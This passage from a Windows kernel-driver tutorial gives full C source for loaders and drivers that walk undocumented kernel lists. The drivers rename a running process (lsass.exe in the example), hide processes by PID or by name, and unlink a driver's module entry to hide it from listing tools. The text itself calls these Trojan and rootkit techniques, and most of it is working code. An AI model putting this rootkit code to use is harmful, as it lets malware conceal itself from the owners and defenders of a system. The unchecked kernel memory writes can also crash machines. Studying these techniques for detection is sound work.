taking the third program System which has a process is of 8. The process id of
zero has no name as Task manager displays it as System Idle Process. The proc
variable has an address of 8202fb60. 160 bytes from here gives us the address
of the Flink variable which is 8202fc00. All other structure will point to this
number. Lets now take one process before, Its Flink variables value is
8202fc00.
This is because the
previous structures flink will point to the next structures flink. The next
EPROCESS structure for smss points to 81fs5680 and its flink is at 81fa5720.
The Flink of System thus has a value of 81fa5720. If you look at the Blink of
System, it will point to the flink of System Idle Process. Thus we can move in
either direction forwards or backwards.
The only problem
may be that you have to tell remind yourself that the Flink and Blink should
have pointed to the start of the EPROCESS structures, not to the Flink members.
Thus given any EPROCESS structure we can move forwards or backwards in an
endless loop. We hope the diagrams help clarify everything.
r.c
NTSTATUS
abcDevice(PDEVICE_OBJECT DeviceObject,PIRP Irp)
{
struct process
*proc;
int i,startpid;
proc= (struct
process *)PsGetCurrentProcess();
startpid =
proc->pid;
while (1)
{
DbgPrint("%s:%d",(char
*)proc+508,proc->pid);
proc = (struct
process *)( (char *)proc->Flink - 160);
if ( startpid ==
proc->pid)
break;
}
IoCompleteRequest(Irp,IO_NO_INCREMENT);
return
STATUS_SUCCESS;
}
In the above
program we would like to print out a list of all processes running on our
machine as well as their pid. We store the current processes pid in the
variable startpid. We know that the linked list of EPRCOESS structures is
circular. Thus at the end of the while loop we check with the startpid variable
which we do not change at all, it is equal to the pid member, we have come a
full circle and quit out of the loop. We check the pid member after changing
the value of the proc variable.
y.exe:632
:0
System:8
smss.exe:160
#include <windows.h>
SC_HANDLE
m,s;HANDLE g;long b,pid,len;char arr[100];
void main(int argc,
char **argv)
{
pid =
atoi(argv[1]);
len =
strlen(argv[2]);
memcpy(arr,&pid,4);
strcpy(arr+4,argv[2]);
m=OpenSCManager(0,0,SC_MANAGER_ALL_ACCESS
);
CreateService(m,"vijay","mukhi",SERVICE_ALL_ACCESS,SERVICE_KERNEL_DRIVER,SERVICE_DEMAND_START,SERVICE_ERROR_NORMAL,"C:\\driver1\\vijay.sys",0,0,0,0,0);
s=OpenService(m,"vijay",SERVICE_ALL_ACCESS);
StartService(s, 0,
0);
g=CreateFile("\\\\.\\aaa",GENERIC_READ
| GENERIC_WRITE,0,0,OPEN_EXISTING,0,0);
printf("g=%x\n",g);
printf("%d\n",GetCurrentProcessId());
DeviceIoControl(g,2,(void
*)arr,4+len+1,0,0,&b,0);
}
y 244 vijay.exe
The above program
will now simply allow us to rename any program that is displayed in the task
manager. As before we will pass the first parameter as the pid of the program
whose name we want to change. Then we pass the name of the program. As before
we store the first parameter in the variable pid and we then find the length of
the new program name and store that in the variable len.
We have to pass the
pid and string to our device driver. We have an array arr in which we use
memcpy to copy the four bytes of pid into arr. The syntax of function memcpy is
destination memory address, source memory address and number of bytes to copy.
We then use the function strcpy to copy the entire name of the new program
passed as argv[2], four bytes from the start of the arr array.
The strcpy function
also starts with destination memory
location and then the source. Thus our array arr starts with four bytes
of the pid followed by the null terminated string. The third parameter of the
function DeviceIoControl which is the length of data that we are passing
contains 4 for the pid, len which is the length of the string and 1 for the
null at the end of the string, which strlen does not consider.
In the device
driver program we will extract these two values.
r.c
NTSTATUS
abcDevice(PDEVICE_OBJECT DeviceObject,PIRP Irp)
{
struct process
*proc;
int i,pid;
long *inputBuffer;
char *p;
inputBuffer = (long
*)Irp->AssociatedIrp.SystemBuffer;
pid = *inputBuffer;
p = (char
*)inputBuffer;
p = p + 4;
proc= (struct
process *)PsGetCurrentProcess();
while (1)
{
if ( pid ==
proc->pid)
break;
proc = (struct process
*)( (char *)proc->Flink - 160);
}
DbgPrint("%s:%d",(char
*)proc+508,proc->pid);
strcpy((char
*)proc+508,p);
IoCompleteRequest(Irp,IO_NO_INCREMENT);
return
STATUS_SUCCESS;
}
We extract the long
at the start of our inputBuffer like we did before. We then set a pointer to
char p to this inputBuffer. We increase it by 4 so that we now point to the
start of the string which is our new program name.
In the while loop
we loop though the entire link list as before and quit out when the current pid
is that which is passed by our user land program. Thus when we quit out of our
indefinite while loop, the proc variable points to the EPROCESS structure of
the program whose name we want to change.
All that we now do
is know that the name of the program begins at 508 bytes from the start of the
EPROCESS structure. We copy the string passed to us over this location. We have
done no error checks at all and if the new name is larger than the old name god
help you as we are overwriting ring 0 memory and the machine is sure to go
kaput.
When we ran the
program, the pid of 244 is lsass.exe and when we ran the task manager it had
changed to vijay.exe.
y.c
#include
<windows.h>
SC_HANDLE
m,s;HANDLE g;long b,pid;
void main(int argc,
char **argv)
{
pid = atoi(argv[1]);
m=OpenSCManager(0,0,SC_MANAGER_ALL_ACCESS
);
CreateService(m,"vijay","mukhi",SERVICE_ALL_ACCESS,SERVICE_KERNEL_DRIVER,SERVICE_DEMAND_START,SERVICE_ERROR_NORMAL,"C:\\driver1\\vijay.sys",0,0,0,0,0);
s=OpenService(m,"vijay",SERVICE_ALL_ACCESS);
StartService(s, 0,
0);
g=CreateFile("\\\\.\\aaa",GENERIC_READ
| GENERIC_WRITE,0,0,OPEN_EXISTING,0,0);
printf("g=%x\n",g);
printf("%d\n",GetCurrentProcessId());
DeviceIoControl(g,2,(void
*)&pid,4,0,0,&b,0);
}
All that the
program y.c does is takes the pid of the program as argv[1] and passes it on to
the device driver.
r.c
NTSTATUS
abcDevice(PDEVICE_OBJECT DeviceObject,PIRP Irp)
{
struct process
*proc;
int i,pid;
long *inputBuffer;
inputBuffer = (long
*)Irp->AssociatedIrp.SystemBuffer;
pid = *inputBuffer;
proc= (struct
process *)PsGetCurrentProcess();
while (1)
{
if ( pid ==
proc->pid)
break;
proc = (struct
process *)( (char *)proc->Flink - 160);
}
*((long *)
proc->Blink) = (long) proc->Flink;
IoCompleteRequest(Irp,IO_NO_INCREMENT);
return
STATUS_SUCCESS;
}
In r.c we store the
pid passed in the pid variable and quit out of the loop as before when the
EPROCESS structure represents the pid of the program we want to hide. The task manager
calls some API that will read the above link list. This code reads the link
list using the Flink member and not the Blink member. The member proc->Blink
points to the LIST_ENTRY structure of the previous member. Once again Blink
points to the Flink member and not the Blink member of the previous EPROCESS
structure and Flink points to the next EPROCESS structure.
Thus when we do a *
on proc->Blink, we are changing the Flink member of the previous EPROCESS
structure. This points to us. The value proc->Flink points to the next
EPROCESS structure. So all that we need to do is set the previous EPROCESS
structures Flink member to the next one and thus we remove our self’s from the
forward link list. Anyone reading us using the Blink member will yet find us.
Image the consequences of what we have done if we were a Trojan. Anyone using
task manager or such a program will not know of our existence.
y.c
#include
<windows.h>
SC_HANDLE
m,s;HANDLE g;long b,len;char arr[100];
void main(int argc,
char **argv)
{
strcpy(arr,argv[1]);
len =
strlen(argv[1]);
m=OpenSCManager(0,0,SC_MANAGER_ALL_ACCESS
);
CreateService(m,"vijay","mukhi",SERVICE_ALL_ACCESS,SERVICE_KERNEL_DRIVER,SERVICE_DEMAND_START,SERVICE_ERROR_NORMAL,"C:\\driver1\\vijay.sys",0,0,0,0,0);
s=OpenService(m,"vijay",SERVICE_ALL_ACCESS);
StartService(s, 0,
0);
g=CreateFile("\\\\.\\aaa",GENERIC_READ
| GENERIC_WRITE,0,0,OPEN_EXISTING,0,0);
DeviceIoControl(g,2,(void
*)arr,len+1,0,0,&b,0);
}
Now we want to hide
a program by name and hence we will pass the name of program as the first
parameter. The above y.c program simply represents a past program.
r.c
NTSTATUS
abcDevice(PDEVICE_OBJECT DeviceObject,PIRP Irp)
{
struct process
*proc;
char *inputBuffer;
inputBuffer = (char
*)Irp->AssociatedIrp.SystemBuffer;
proc= (struct
process *)PsGetCurrentProcess();
while (1)
{
if (
strcmp(inputBuffer,(char *)proc + 508) == 0)
break;
proc = (struct
process *)( (char *)proc->Flink - 160);
}
*((long
*)proc->Blink) = (long) proc->Flink;
IoCompleteRequest(Irp,IO_NO_INCREMENT);
return
STATUS_SUCCESS;
}
We have not made
many changes to the program r.c. The variable inputBuffer is now of type char
*. We know that the name of the program is stored 508 bytes from the start of
the EPROCESS structure.
Thus we use
function strcmp to compare the strings
stored at inputBuffer which represents the name of the program we want to hide
and EPROCESS + 508 the current
processes name. When function strcmp returns a zero, we have found a match and
thus quit the loop.
The rest of the
code remains the same as before.
y.c
#include
<windows.h>
SC_HANDLE
m,s;HANDLE g;long b;
void main(int argc,
char **argv)
{
m=OpenSCManager(0,0,SC_MANAGER_ALL_ACCESS
);
CreateService(m,"vijay","mukhi",SERVICE_ALL_ACCESS,SERVICE_KERNEL_DRIVER,SERVICE_DEMAND_START,SERVICE_ERROR_NORMAL,"C:\\driver1\\vijay.sys",0,0,0,0,0);
s=OpenService(m,"vijay",SERVICE_ALL_ACCESS);
StartService(s, 0,
0);
}
In the next set of
programs we will deal with hiding device drivers instead of process. Yes you
read us right, we will hide entire devices from windows. The program Device
tree will come back and tell us that our device driver does not exist. Our
program y.c is much smaller as we do not need to call any code in our device
driver other than the entry function DriverEntry.
r.c
#include
<ntddk.h>
#pragma pack(1)
struct module
{
LIST_ENTRY plist;
long unknown[4];
long base;
long start;
long unk1;
UNICODE_STRING
path;
UNICODE_STRING
name;
};
NTSTATUS
abcCreate(PDEVICE_OBJECT DeviceObject,PIRP Irp)
{
return
STATUS_SUCCESS;
}
NTSTATUS
DriverEntry(PDRIVER_OBJECT
d,PUNICODE_STRING p)
{
UNICODE_STRING
devicename,filename;
PDEVICE_OBJECT r;
struct module
*curr,*us;
RtlInitUnicodeString(&devicename,L"\\Device\\bbb");
RtlInitUnicodeString(&filename,L"\\DosDevices\\aaa");
IoCreateDevice(d,0,&devicename,0,0,0,&r);
IoCreateSymbolicLink
(&filename,&devicename);
d->MajorFunction[IRP_MJ_CREATE]=abcCreate;
curr = *((struct
module**)((long)d + 0x14));
DbgPrint("DriverSection=%x
curr=%x name=%S",d->DriverSection,curr,d->DriverName.Buffer);
us = curr ;
while ((struct
module *)curr->plist.Flink != us)
{
DbgPrint("curr=%x
Flink=%x Blink=%x",curr,curr->plist.Flink,curr->plist.Blink);
DbgPrint("start=%x
DriverEntry=%x unk1=%x
base=%x",curr->start,DriverEntry,curr->unk1,curr->base);
if (curr->unk1
!= 0x00000000 )
DbgPrint("%S::%S\n",
curr->path.Buffer,curr->name.Buffer);
curr = (struct module *)curr->plist.Flink;
}
return
STATUS_SUCCESS;
}
DriverSection=81b98808
curr=81b98808 name=\Driver\vijay???
curr=81ea9c88
Flink=8046e8f0 Blink=81b36a28
start=eb77901d
DriverEntry=eb77901d unk1=5000 base=eb778000
\??\C:\driver1\vijay.sys::vijay.sys
curr=8046e8f0
Flink=82059248 Blink=81ea9c88
start=0
DriverEntry=eb77901d unk1=0 base=0
curr=82059248
Flink=820591a8 Blink=8046e8f0
start=8040d230
DriverEntry=eb77901d unk1=1a5540 base=80400000
\WINNT\System32\ntoskrnl.exe?????????????????A???????????????A???????????????A??::ntoskrnl.exe
In the r.c device
driver, all our code resides in the entry point function. The first parameter
to the DriverEntry function is a pointer to structure DRIVER_ENTRY that is well
defined in the header file for all but one member DriverSection. This member
has a type void *, that tells us nothing about the data type it points to.
We print out the
value of this pointer and it comes to 81b98808, which is the same if we add
0x14 to the value of the parameter d and assume that a pointer to pointer to a
structure that looks like module is stored there. The DriverSection member
points to another structure that links all device drivers together.
This undocumented
structure module details are available on the net as Microsoft for some reason
likes hiding stuff from us. We have for the momemt displayed only some members,
the rest we will do later. The variable us is set to value of curr and now we
move into a loop. The first member of our structure is the by now familiar
LIST_ENTRY member.
This structure has
two members Flink and Blink which in turn point to the start of similar module structure.
As the LIST_ENTRY member is the first, they point to the start of such
structures unlike earlier where they pointed to the middle of the EPROCESS
structure.
Lets start with
second device driver, its curr value is 8046e8f0, which tells us where the
module structure starts in memory. The Flink member points to the next module
structure which is 82059248. This is value of curr for the third device driver.
The Blink member of the second device driver has a value of 81ea9c88 which is
the value of curr of the first device driver vijay.sys.
All LIST_ENTRY
structures are recursive and hence at the start of the while loop, we store in
value of curr in us and keep looping till the value of Flink becomes us, we
then know that we have come a full circle. At the end of the while loop we set
the value of curr to Flink so that we print the details of the next device
driver. We also print the full path name and name of the device driver.
The start member of
the module structure and the DriverEntry value will be the same as this is
where our device driver code will be executed. The other members we will come
to later. The full path name contains two ?? which we see later when we show
you another way of loading device drivers.
There is no name
present of the unl1 variable is 0. If we do not use the if statement, we get a
blue screen of death. This is how we use the double linked list to display all
the device driver. We will later on display all the members of the two
structures, DRIVER_OBJECT and module to give us the same information as the
program Device Tree.
y.c
#include
<windows.h>
SC_HANDLE
m,s;HANDLE g;long b,len;char arr[100];
void main(int argc,
char **argv)
{
strcpy(arr,argv[1]);
len =
strlen(argv[1]);
m=OpenSCManager(0,0,SC_MANAGER_ALL_ACCESS
);
CreateService(m,"vijay","mukhi",SERVICE_ALL_ACCESS,SERVICE_KERNEL_DRIVER,SERVICE_DEMAND_START,SERVICE_ERROR_NORMAL,"C:\\driver1\\vijay.sys",0,0,0,0,0);
s=OpenService(m,"vijay",SERVICE_ALL_ACCESS);
StartService(s, 0,
0);
g=CreateFile("\\\\.\\aaa",GENERIC_READ
| GENERIC_WRITE,0,0,OPEN_EXISTING,0,0);
DeviceIoControl(g,2,(void
*)arr,len,0,0,&b,0);
}
In the next program
we plan to hide a device driver as promised. The y.c program does not change at
all and we have copied one of the earlier ones. The only change is that the
size of our buffer send does not consider the null at the end of the string. We
are passing the actual number of bytes.
r.c
#include
<ntddk.h>
#pragma pack(1)
struct module
{
LIST_ENTRY plist;
long unknown[4];
long base;
long start;
long unk1;
UNICODE_STRING
path;
UNICODE_STRING
name;
};
PDRIVER_OBJECT gd;
NTSTATUS
abcDevice(PDEVICE_OBJECT DeviceObject,PIRP Irp)
{
char *inputBuffer;
IO_STACK_LOCATION
*irpStack;
int
inputBufferLength;
ANSI_STRING
AnsiDriverName;
UNICODE_STRING
UnicodeDriverName;
struct module
*curr,*us;
irpStack =
IoGetCurrentIrpStackLocation (Irp);
inputBuffer = (char
*)Irp->AssociatedIrp.SystemBuffer;
inputBufferLength =
irpStack->Parameters.DeviceIoControl.InputBufferLength;
DbgPrint("Name=%s:Length=%d",inputBuffer,inputBufferLength);
AnsiDriverName.Length
= (USHORT)inputBufferLength;
AnsiDriverName.MaximumLength
= (USHORT)inputBufferLength;
AnsiDriverName.Buffer
= (PCHAR)inputBuffer;
RtlAnsiStringToUnicodeString(&UnicodeDriverName,&AnsiDriverName,TRUE);
curr = *((struct
module**)((long)gd + 0x14));
us = curr ;
while ((struct
module *)curr->plist.Flink != us)
{
if (curr->unk1
!= 0x00000000 )
{
int i =
RtlCompareUnicodeString(&UnicodeDriverName, &(curr->name), FALSE);
DbgPrint("%S::%S
i=%d", curr->name.Buffer,UnicodeDriverName.Buffer,i);
if
(RtlCompareUnicodeString(&UnicodeDriverName, &(curr->name), FALSE)
== 0)
{
*((long
*)curr->plist.Blink) = (long) curr->plist.Flink;
curr->plist.Flink->Blink
= curr->plist.Blink;
break;
}
}
curr = (struct module *)curr->plist.Flink;
}
IoCompleteRequest(Irp,IO_NO_INCREMENT);
return
STATUS_SUCCESS;
}
NTSTATUS
abcCreate(PDEVICE_OBJECT DeviceObject,PIRP Irp)
{
return
STATUS_SUCCESS;
}
NTSTATUS
DriverEntry(PDRIVER_OBJECT
d,PUNICODE_STRING p)
{
UNICODE_STRING devicename,filename;
PDEVICE_OBJECT r;
gd = d;
DbgPrint("DriverObject");
RtlInitUnicodeString(&devicename,L"\\Device\\bbb");
RtlInitUnicodeString(&filename,L"\\DosDevices\\aaa");
IoCreateDevice(d,0,&devicename,0,0,0,&r);
IoCreateSymbolicLink
(&filename,&devicename);
d->MajorFunction[IRP_MJ_CREATE]=abcCreate;
d->MajorFunction[IRP_MJ_DEVICE_CONTROL]=abcDevice;
return
STATUS_SUCCESS;
}
In the device
driver code, we simply ignore the DriverEntry function and move on to the
abcDevice function. We use the good old IoGetCurrentIrpStackLocation to give us the IO_STACK_LOCATION pointer.
This pointer lets us access a union Parameters which has another structure
DeviceIoControl which finally has a member InputBufferLength.
This is the length
of data we have send across in the input buffer. We use the variable
inputBufferLength to store this value. The only difference between a
UNICODE_STRING and ANSI_STRING is that the Buffer member in one is char * and
in the other it is short *. We set the Length and MaximumLength members to the
length of the string passed from userland. The Buffer variable is set to the
variable inputBuffer.
We then call the
function RtlAnsiStringToUnicodeString passing it the address of two structures,
one unicode, then other asci. This function converts the Asci string into
unicode for us. We then copy the code from the earlier program and we move
though the entire linked list of device drivers.
The only change is
that we add one more function RtlCompareUnicodeString that compares two unicode
strings. We pass the addresses of two UNICODE_STRING structures and this
function returns a zero if the string are the same. Works like strcmp for
unicode strings. Now that we have a module structure for our device driver, we
now need to remove this device driver from the list.
Remember in a
double link list we have to make two changes to remove ourselves as two
structures point to us. The member curr is a pointer to ourselves, and
curr->plist.Blink points to the start of the previous structure. We set this
to curr->plist.Flink which points to the start of the next structure. Thus
if anyone uses the Flink member to move though the linked list we will not
exist as the previous Flink which pointed to us is now pointing to the next
structure.
If we do not cast
the value to a long *. We will be overwriting 8 bytes as a Blink data type is 8
bytes long. Also for a LIST_ENTRY structure the first member is Flink and thus
we are only changing the value of Flink. In the second line
curr->plist.Flink points to the next device driver structure.
curr->plist.Flink->Blink is the member that points back to us. We now
need to change this member so that it points to the device drive before us.
That value is
stored in curr->plist.Blink which always points to the previous module
structure. This is how we get the next device drivers structure’s Blink to point to the previous device
drivers Blink avoiding us totally.
The only problem
with the program is that it does not work with device tree which uses some
other method to list device drivers. Maybe they know that this is a method
rootkits use. So we went into the Windows Resource Kit and at the URL http://www.dynawell.com/support/ResKit/download/wntdrivers.asp
amongst others. This is a program written by Microsoft and we have been able to
hide ourselves from this program.
A rootkit
is a software package that assists hackers in gaining unauthorized access to a
system